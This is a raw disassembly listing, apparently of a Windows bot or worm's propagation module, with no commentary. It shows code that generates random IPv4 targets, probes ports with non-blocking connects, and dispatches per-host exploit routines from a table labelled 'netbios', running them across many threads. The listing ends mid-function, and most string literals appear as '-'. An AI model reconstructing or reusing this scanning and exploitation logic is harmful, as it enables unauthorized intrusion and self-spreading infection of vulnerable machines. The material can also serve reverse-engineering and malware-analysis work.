		push	5		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 1Ch
		mov	dword_4D4914, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4D4708
		push	offset sub_4146A1
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, dword_4D4914
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	loc_40B85B
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_432C40 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_40B7D5:				; CODE XREF: sub_40B690+1D3j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_417D70
		mov	eax, dword_4D1FE4
		mov	[esp+208h+var_208], 104h
		mov	esi, offset dword_4D4464
		push	esi
		push	ebx
		mov	dword_4D4674, eax
		mov	dword_4D4670, ebx
		call	ds:dword_42B00C	; GetModuleFileNameA
		push	103h		; Count
		push	edi		; Source
		push	offset byte_4D4568 ; Dest
		call	_strncpy
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4D4460, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4D46F8, eax
		push	7Fh		; Count
		jnz	short loc_40B868
		lea	eax, [ebp+Source]
		push	eax		; Source
		push	offset byte_4D4678 ; Dest
		call	_strncpy
		mov	dword_4D46FC, 1
		jmp	short loc_40B87F
; ---------------------------------------------------------------------------


loc_40B853:				; CODE XREF: sub_40B690+1D1j
		push	32h
		call	ds:dword_42B014	; Sleep


loc_40B85B:				; CODE XREF: sub_40B690+124j
		cmp	dword_4D49A8, ebx
		jz	short loc_40B853
		jmp	loc_40B7D5
; ---------------------------------------------------------------------------


loc_40B868:				; CODE XREF: sub_40B690+1A7j
		lea	eax, [ebp+arg_90]
		push	eax		; Source
		push	offset byte_4D4678 ; Dest
		call	_strncpy
		mov	dword_4D46FC, ebx


loc_40B87F:				; CODE XREF: sub_40B690+1C1j
		add	esp, 0Ch
		push	esi
		push	dword_4D4674
		lea	eax, [ebp+Dest]
		push	offset asc_432C0C ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	4		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 1Ch
		mov	dword_4D466C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4D4460
		push	offset sub_411B17
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, dword_4D466C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	loc_40B983
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_432BD8 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_40B8FD:				; CODE XREF: sub_40B690+2FBj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_417D70
		pop	ecx


loc_40B90A:				; CODE XREF: sub_40B690+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_43D88C[ecx], ebx
		jz	loc_40BA37
		push	7
		call	sub_40B075
		test	eax, eax
		pop	ecx
		jnz	loc_40BA31
		cmp	[ebp+arg_90], bl
		mov	eax, dword_4D525C
		mov	dword_4D43CC, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4D43C0, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4D43C8, ebx
		mov	dword_4D4450, eax
		push	7Fh		; Count
		jnz	short loc_40B990
		lea	eax, [ebp+Source]
		push	eax		; Source
		push	offset byte_4D43D0 ; Dest
		call	_strncpy
		mov	dword_4D4454, 1
		jmp	short loc_40B9A7
; ---------------------------------------------------------------------------


loc_40B97B:				; CODE XREF: sub_40B690+2F9j
		push	32h
		call	ds:dword_42B014	; Sleep


loc_40B983:				; CODE XREF: sub_40B690+24Cj
		cmp	dword_4D4700, ebx
		jz	short loc_40B97B
		jmp	loc_40B8FD
; ---------------------------------------------------------------------------


loc_40B990:				; CODE XREF: sub_40B690+2CFj
		lea	eax, [ebp+arg_90]
		push	eax		; Source
		push	offset byte_4D43D0 ; Dest
		call	_strncpy
		mov	dword_4D4454, ebx


loc_40B9A7:				; CODE XREF: sub_40B690+2E9j
		add	esp, 0Ch
		push	dword_4D43CC
		lea	eax, [ebp+Dest]
		push	offset asc_432BA8 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	7		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 18h
		mov	dword_4D43C4, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4D43C0
		push	offset sub_411722
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, dword_4D43C4
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	loc_40BB53
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_432B70 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_40BA24:				; CODE XREF: sub_40B690+4CBj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_417D70
		pop	ecx


loc_40BA31:				; CODE XREF: sub_40B690+29Bj
		mov	eax, [ebp+arg_130]


loc_40BA37:				; CODE XREF: sub_40B690+28Bj
		shl	eax, 6
		cmp	dword_43D888[eax], ebx
		jz	loc_40BB47
		push	3
		call	sub_40B075
		test	eax, eax
		pop	ecx
		jnz	loc_40BB47
		push	104h
		mov	esi, offset byte_4D429C
		push	esi
		push	ebx
		call	ds:dword_42B00C	; GetModuleFileNameA
		push	5Ch		; Ch
		push	esi		; Str
		call	_strrchr
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jz	short loc_40BA78
		mov	[eax], bl


loc_40BA78:				; CODE XREF: sub_40B690+3E4j
		mov	eax, dword_43C078
		mov	dword_4D43A0, eax
		lea	eax, [ebp+Source]
		push	eax		; Format
		push	offset byte_4D4014 ; Dest
		mov	dword_4D43B4, ebx
		call	_sprintf
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4D43A0
		mov	dword_4D43AC, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4D4010, eax
		mov	dword_4D43B0, ecx
		call	sub_4023C9
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_42F220 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	3		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 20h
		mov	dword_4D43A8, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4D4010
		push	offset sub_412DD9
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, dword_4D43A8
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	short loc_40BB68
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_432B3C ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_40BB3A:				; CODE XREF: sub_40B690+4E0j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_417D70
		pop	ecx


loc_40BB47:				; CODE XREF: sub_40B690+3B0j
					; sub_40B690+3C0j
		pop	esi


loc_40BB48:				; CODE XREF: sub_40B690+24j
		pop	ebx

locret_40BB49:				; CODE XREF: sub_40B690+12j
		leave
		retn
; ---------------------------------------------------------------------------


loc_40BB4B:				; CODE XREF: sub_40B690+4C9j
		push	32h
		call	ds:dword_42B014	; Sleep


loc_40BB53:				; CODE XREF: sub_40B690+373j
		cmp	dword_4D4458, ebx
		jz	short loc_40BB4B
		jmp	loc_40BA24
; ---------------------------------------------------------------------------


loc_40BB60:				; CODE XREF: sub_40B690+4DEj
		push	32h
		call	ds:dword_42B014	; Sleep


loc_40BB68:				; CODE XREF: sub_40B690+48Dj
		cmp	dword_4D43BC, ebx
		jz	short loc_40BB60
		jmp	short loc_40BB3A
sub_40B690	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40BB72(int Dst)

sub_40BB72	proc near		; CODE XREF: sub_40BCF3:loc_40BD57p

Dst		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+Dst]
		push	4		; Size
		lea	esi, ds:4D1FF0h[esi*8]
		lea	eax, [ebp+Dst]
		push	esi		; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		push	[ebp+Dst]
		call	dword_4441DC	; htonl
		inc	eax
		push	eax
		mov	[ebp+Dst], eax
		call	dword_444234	; htonl
		mov	[ebp+Dst], eax
		push	4		; Size
		lea	eax, [ebp+Dst]
		push	eax		; Src
		push	esi		; Dst
		call	_memcpy
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40BB72	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40BBBA(char *Src,int)

sub_40BBBA	proc near		; CODE XREF: sub_40BCF3+5Cp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Src		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	[ebp+Src]	; Str
		or	esi, 0FFFFFFFFh
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	_strlen
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40BBE2
		xor	eax, eax
		jmp	short loc_40BC53
; ---------------------------------------------------------------------------


loc_40BBE2:				; CODE XREF: sub_40BBBA+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+Src]	; Src
		call	_sscanf
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40BC0F
		call	_rand
		mov	[ebp+var_C], eax


loc_40BC0F:				; CODE XREF: sub_40BBBA+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40BC1C
		call	_rand
		mov	[ebp+var_8], eax


loc_40BC1C:				; CODE XREF: sub_40BBBA+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40BC29
		call	_rand
		mov	[ebp+var_4], eax


loc_40BC29:				; CODE XREF: sub_40BBBA+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40BC35
		call	_rand


loc_40BC35:				; CODE XREF: sub_40BBBA+74j
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_4]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4D1FF0[ecx*8], eax


loc_40BC53:				; CODE XREF: sub_40BBBA+26j
		pop	esi
		leave
		retn
sub_40BBBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BC56	proc near		; CODE XREF: sub_40BCF3+ABp
					; sub_40C15B+5Ep ...

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		xor	ebx, ebx
		push	ebx
		inc	edi
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_444100	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40BC7F
		xor	eax, eax
		jmp	short loc_40BCEE
; ---------------------------------------------------------------------------


loc_40BC7F:				; CODE XREF: sub_40BC56+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_444260	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_444094	; ioctlsocket
		push	10h
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		call	dword_4440AC	; connect
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_120]
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4441B0	; select
		push	esi
		mov	edi, eax
		call	dword_444218	; closesocket
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40BCEE:				; CODE XREF: sub_40BC56+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40BC56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_40BCF3	proc near		; DATA XREF: sub_40BEFE+140o

var_31C		= dword	ptr -31Ch
Dest		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
Src		= byte ptr -150h
var_140		= byte ptr -140h
Str		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 28Ch
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+74h+Src]
		rep movsd
		mov	esi, [ebp+74h+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+74h+var_28]
		mov	[ebp+74h+var_4], esi
		mov	[ebp+74h+arg_0], eax
		call	ds:dword_42B038	; GetTickCount
		push	eax
		call	sub_41ECD4
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h
		jmp	loc_40BEDA
; ---------------------------------------------------------------------------


loc_40BD41:				; CODE XREF: sub_40BCF3+1F5j
		cmp	[ebp+74h+var_10], 0
		push	eax		; Dst
		jz	short loc_40BD57
		lea	eax, [ebp+74h+Src]
		push	eax		; Src
		call	sub_40BBBA
		pop	ecx
		jmp	short loc_40BD5C
; ---------------------------------------------------------------------------


loc_40BD57:				; CODE XREF: sub_40BCF3+53j
		call	sub_40BB72


loc_40BD5C:				; CODE XREF: sub_40BCF3+62j
		pop	ecx
		push	[ebp+74h+arg_0]
		mov	edi, eax
		push	dword_4444EC[ebx]
		push	[ebp+74h+var_3C]
		push	edi
		call	dword_444188	; inet_ntoa
		push	eax
		lea	eax, [ebp+74h+Dest]
		push	offset asc_432C9C ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+74h+Dest]
		push	eax		; Format
		lea	eax, dword_4442E8[ebx]
		push	eax		; Dest
		call	_sprintf
		push	[ebp+74h+var_38]
		push	[ebp+74h+var_3C]
		push	edi
		call	sub_40BC56
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_40BECF
		cmp	[ebp+74h+var_20], 0FFFFFFFFh
		jnz	short loc_40BE2A
		push	offset dword_4D3FF0
		call	ds:dword_42B070	; RtlEnterCriticalSection
		push	[ebp+74h+var_3C]
		push	edi
		call	dword_444188	; inet_ntoa
		push	eax
		lea	eax, [ebp+74h+Dest]
		push	offset asc_432C74 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		cmp	[ebp+74h+var_14], 0
		jnz	short loc_40BE0C
		cmp	[ebp+74h+Str], 0
		push	1		; int
		push	[ebp+74h+var_18] ; int
		lea	eax, [ebp+74h+Dest]
		push	eax		; int
		lea	eax, [ebp+74h+Str]
		jnz	short loc_40BE00
		lea	eax, [ebp+74h+var_140]


loc_40BE00:				; CODE XREF: sub_40BCF3+105j
		push	eax		; Str
		push	[ebp+74h+var_40] ; int
		call	sub_40123B
		add	esp, 14h


loc_40BE0C:				; CODE XREF: sub_40BCF3+F0j
		lea	eax, [ebp+74h+Dest]
		push	eax
		call	sub_417D70
		mov	[esp+2A8h+var_31C], offset dword_4D3FF0
		call	ds:dword_42B06C	; RtlLeaveCriticalSection
		jmp	loc_40BECF
; ---------------------------------------------------------------------------


loc_40BE2A:				; CODE XREF: sub_40BCF3+C0j
		push	edi
		call	dword_444188	; inet_ntoa
		push	eax		; Format
		lea	eax, [ebp+74h+var_208]
		push	eax		; Dest
		call	_sprintf
		mov	eax, [ebp+74h+var_20]
		shl	eax, 6
		add	eax, offset aNetbios_0 ; "netbios"
		push	eax		; Format
		lea	eax, [ebp+74h+var_178]
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		cmp	[ebp+74h+Str], 0
		lea	eax, [ebp+74h+Str]
		jnz	short loc_40BE68
		lea	eax, [ebp+74h+var_140]


loc_40BE68:				; CODE XREF: sub_40BCF3+16Dj
		push	eax		; Format
		lea	eax, [ebp+74h+var_1F8]
		push	eax		; Dest
		call	_sprintf
		mov	eax, [ebp+74h+var_40]
		mov	[ebp+74h+var_20C], eax
		mov	eax, [ebp+74h+var_18]
		mov	[ebp+74h+var_15C], eax
		mov	eax, [ebp+74h+var_14]
		pop	ecx
		pop	ecx
		mov	[ebp+74h+var_158], eax
		mov	eax, [ebp+74h+var_3C]
		sub	esp, 0BCh
		mov	[ebp+74h+var_16C], eax
		mov	eax, [ebp+74h+var_20]
		push	2Fh
		pop	ecx
		mov	[ebp+74h+var_168], esi
		mov	[ebp+74h+var_164], eax
		lea	esi, [ebp+74h+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_43D87C[eax]
		mov	esi, [ebp+74h+var_4]
		add	esp, 0BCh


loc_40BECF:				; CODE XREF: sub_40BCF3+B6j
					; sub_40BCF3+132j
		push	7D0h
		call	ds:dword_42B014	; Sleep


loc_40BEDA:				; CODE XREF: sub_40BCF3+49j
		mov	eax, dword_4444EC[ebx]
		cmp	dword_4D1FF4[eax*8], 0
		jnz	loc_40BD41
		push	esi
		call	sub_40B149
		pop	ecx
		push	0
		call	ds:dword_42B068	; ExitThread
		int	3		; Trap to Debugger
sub_40BCF3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_40BEFE	proc near		; DATA XREF: sub_40274D+1D8Fo
					; sub_40274D+5963o

var_280		= dword	ptr -280h
Source		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
Str		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 1CCh
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		pop	ecx
		mov	esi, eax
		xor	ebx, ebx
		lea	edi, [ebp+74h+var_14C]
		rep movsd
		inc	ebx
		mov	[eax+144h], ebx
		lea	eax, [ebp+74h+var_14C]
		push	eax
		call	dword_44417C	; inet_addr
		mov	ecx, [ebp+74h+var_2C]
		sub	esp, 14Ch
		mov	dword_4D1FF0[ecx*8], eax
		push	53h
		pop	ecx
		lea	esi, [ebp+74h+var_14C]
		mov	edi, esp
		rep movsd
		call	sub_40B690
		push	0Bh
		call	sub_40B075
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40BFD1
		mov	esi, offset dword_4D3FF0
		push	esi
		call	ds:dword_42B078	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	ds:dword_42B074	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_40BFD1
		lea	eax, [ebp+74h+Source]
		push	offset asc_432D80 ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	ebx, ebx
		cmp	[ebp+74h+var_10], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_40BFB8
		push	ebx		; int
		push	[ebp+74h+var_14] ; int
		lea	eax, [ebp+74h+Source]
		push	eax		; int
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		push	[ebp+74h+var_3C] ; int
		call	sub_40123B
		add	esp, 14h


loc_40BFB8:				; CODE XREF: sub_40BEFE+9Bj
		lea	eax, [ebp+74h+Source]
		push	eax
		call	sub_417D70
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	ebp, 74h
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40BFD1:				; CODE XREF: sub_40BEFE+65j
					; sub_40BEFE+81j
		mov	eax, [ebp+74h+var_2C]
		mov	esi, ds:dword_42B014
		mov	dword_4D1FF4[eax*8], ebx
		mov	edi, ebx
		xor	ebx, ebx
		cmp	[ebp+74h+var_20], 1
		jb	loc_40C093


loc_40BFEF:				; CODE XREF: sub_40BEFE+18Fj
		push	edi
		push	[ebp+74h+var_2C]
		lea	eax, [ebp+74h+var_14C]
		push	[ebp+74h+var_38]
		mov	[ebp+74h+var_24], edi
		push	eax
		lea	eax, [ebp+74h+Source]
		push	offset asc_432D4C ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+74h+Source]
		push	0Bh		; int
		push	eax		; Source
		call	sub_40AE85
		mov	ecx, [ebp+74h+var_2C]
		mov	[ebp+74h+var_28], eax
		imul	eax, 234h
		add	esp, 24h
		push	ebx
		push	ebx
		mov	dword_4444EC[eax], ecx
		lea	eax, [ebp+74h+var_14C]
		push	eax
		push	offset sub_40BCF3
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+74h+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	short loc_40C0AA
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+74h+Source]
		push	offset asc_432D14 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+74h+Source]
		push	eax
		call	sub_417D70
		add	esp, 10h


loc_40C085:				; CODE XREF: sub_40BEFE+1B1j
		push	1Eh
		call	esi	; Sleep
		inc	edi
		cmp	edi, [ebp+74h+var_20]
		jbe	loc_40BFEF


loc_40C093:				; CODE XREF: sub_40BEFE+EBj
		cmp	[ebp+74h+var_30], ebx
		jz	short loc_40C0B8
		mov	eax, [ebp+74h+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi	; Sleep
		jmp	short loc_40C0C5
; ---------------------------------------------------------------------------


loc_40C0A6:				; CODE XREF: sub_40BEFE+1AFj
		push	1Eh
		call	esi	; Sleep


loc_40C0AA:				; CODE XREF: sub_40BEFE+15Ej
		cmp	[ebp+74h+var_4], ebx
		jz	short loc_40C0A6
		jmp	short loc_40C085
; ---------------------------------------------------------------------------


loc_40C0B1:				; CODE XREF: sub_40BEFE+1C5j
		push	7D0h
		call	esi	; Sleep


loc_40C0B8:				; CODE XREF: sub_40BEFE+198j
		mov	eax, [ebp+74h+var_2C]
		cmp	dword_4D1FF4[eax*8], 1
		jz	short loc_40C0B1


loc_40C0C5:				; CODE XREF: sub_40BEFE+1A6j
		push	[ebp+74h+var_30]
		mov	eax, [ebp+74h+var_2C]
		push	[ebp+74h+var_38]
		mov	eax, dword_4D1FF0[eax*8]
		push	eax
		call	dword_444188	; inet_ntoa
		push	eax
		lea	eax, [ebp+74h+Source]
		push	offset asc_432CD4 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		cmp	[ebp+74h+var_10], ebx
		jnz	short loc_40C113
		push	ebx		; int
		push	[ebp+74h+var_14] ; int
		lea	eax, [ebp+74h+Source]
		push	eax		; int
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		push	[ebp+74h+var_3C] ; int
		call	sub_40123B
		add	esp, 14h


loc_40C113:				; CODE XREF: sub_40BEFE+1F6j
		lea	eax, [ebp+74h+Source]
		push	eax
		call	sub_417D70
		mov	eax, [ebp+74h+var_2C]
		mov	dword_4D1FF4[eax*8], ebx
		mov	[esp+20Ch+var_280], 0BB8h
		call	esi	; Sleep
		push	0Bh
		call	sub_40B075
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C14A
		push	offset dword_4D3FF0
		call	ds:dword_42B078	; RtlDeleteCriticalSection


loc_40C14A:				; CODE XREF: sub_40BEFE+23Fj
		push	[ebp+74h+var_2C]
		call	sub_40B149
		pop	ecx
		push	ebx
		call	ds:dword_42B068	; ExitThread
		int	3		; Trap to Debugger
sub_40BEFE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_40C15B	proc near		; DATA XREF: sub_40274D+2EC6o

Dest		= byte ptr -3F0h
var_1F0		= dword	ptr -1F0h
var_1EC		= byte ptr -1ECh
var_1DC		= byte ptr -1DCh
var_15C		= byte ptr -15Ch
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
Format		= byte ptr -134h
Str		= byte ptr -124h
var_A4		= byte ptr -0A4h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 3F0h
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+Format]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp+74h+Format]
		push	eax
		call	dword_44417C	; inet_addr
		xor	edi, edi
		cmp	dword_43D878, edi
		mov	[ebp+74h+var_8], eax
		mov	[ebp+74h+var_4], edi
		mov	[ebp+74h+arg_0], edi
		jz	loc_40C2B6
		mov	esi, offset dword_43D878
		mov	ebx, offset aNetbios_0 ; "netbios"


loc_40C1B1:				; CODE XREF: sub_40C15B+155j
		push	[ebp+74h+var_1C]
		push	dword ptr [esi]
		push	[ebp+74h+var_8]
		call	sub_40BC56
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40C2A5
		push	dword ptr [esi]
		lea	eax, [ebp+74h+Format]
		push	eax
		lea	eax, [ebx+0Ah]
		push	eax
		lea	eax, [ebp+74h+Dest]
		push	offset asc_432DE8 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	edi		; int
		push	[ebp+74h+var_14] ; int
		lea	eax, [ebp+74h+Dest]
		push	eax		; int
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		push	[ebp+74h+var_24] ; int
		call	sub_40123B
		lea	eax, [ebp+74h+Dest]
		push	eax
		call	sub_417D70
		lea	eax, [ebp+74h+Format]
		push	eax		; Format
		lea	eax, [ebp+74h+var_1EC]
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+74h+var_15C]
		push	ebx		; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 3Ch
		cmp	[ebp+74h+var_A4], 0
		lea	eax, [ebp+74h+var_A4]
		jnz	short loc_40C240
		lea	eax, [ebp+74h+Str]


loc_40C240:				; CODE XREF: sub_40C15B+DDj
		push	eax		; Format
		lea	eax, [ebp+74h+var_1DC]
		push	eax		; Dest
		call	_sprintf
		mov	eax, [ebp+74h+var_24]
		mov	[ebp+74h+var_1F0], eax
		mov	eax, [ebp+74h+var_14]
		mov	[ebp+74h+var_140], eax
		mov	eax, [ebp+74h+var_10]
		pop	ecx
		mov	[ebp+74h+var_13C], eax
		mov	eax, [esi]
		pop	ecx
		mov	[ebp+74h+var_150], eax
		mov	eax, [ebp+74h+var_18]
		sub	esp, 0BCh
		mov	[ebp+74h+var_14C], eax
		mov	eax, [ebp+74h+arg_0]
		push	2Fh
		pop	ecx
		mov	[ebp+74h+var_148], eax
		lea	esi, [ebp+74h+var_1F0]
		mov	edi, esp
		rep movsd
		call	dword ptr [ebx+2Ch]
		add	esp, 0BCh
		inc	[ebp+74h+var_4]
		xor	edi, edi


loc_40C2A5:				; CODE XREF: sub_40C15B+69j
		inc	[ebp+74h+arg_0]
		add	ebx, 40h
		lea	esi, [ebx+28h]
		cmp	[esi], edi
		jnz	loc_40C1B1


loc_40C2B6:				; CODE XREF: sub_40C15B+46j
		push	[ebp+74h+var_4]
		lea	eax, [ebp+74h+Format]
		push	eax
		lea	eax, [ebp+74h+Dest]
		push	offset asc_432DB4 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	edi		; int
		push	[ebp+74h+var_14] ; int
		lea	eax, [ebp+74h+Dest]
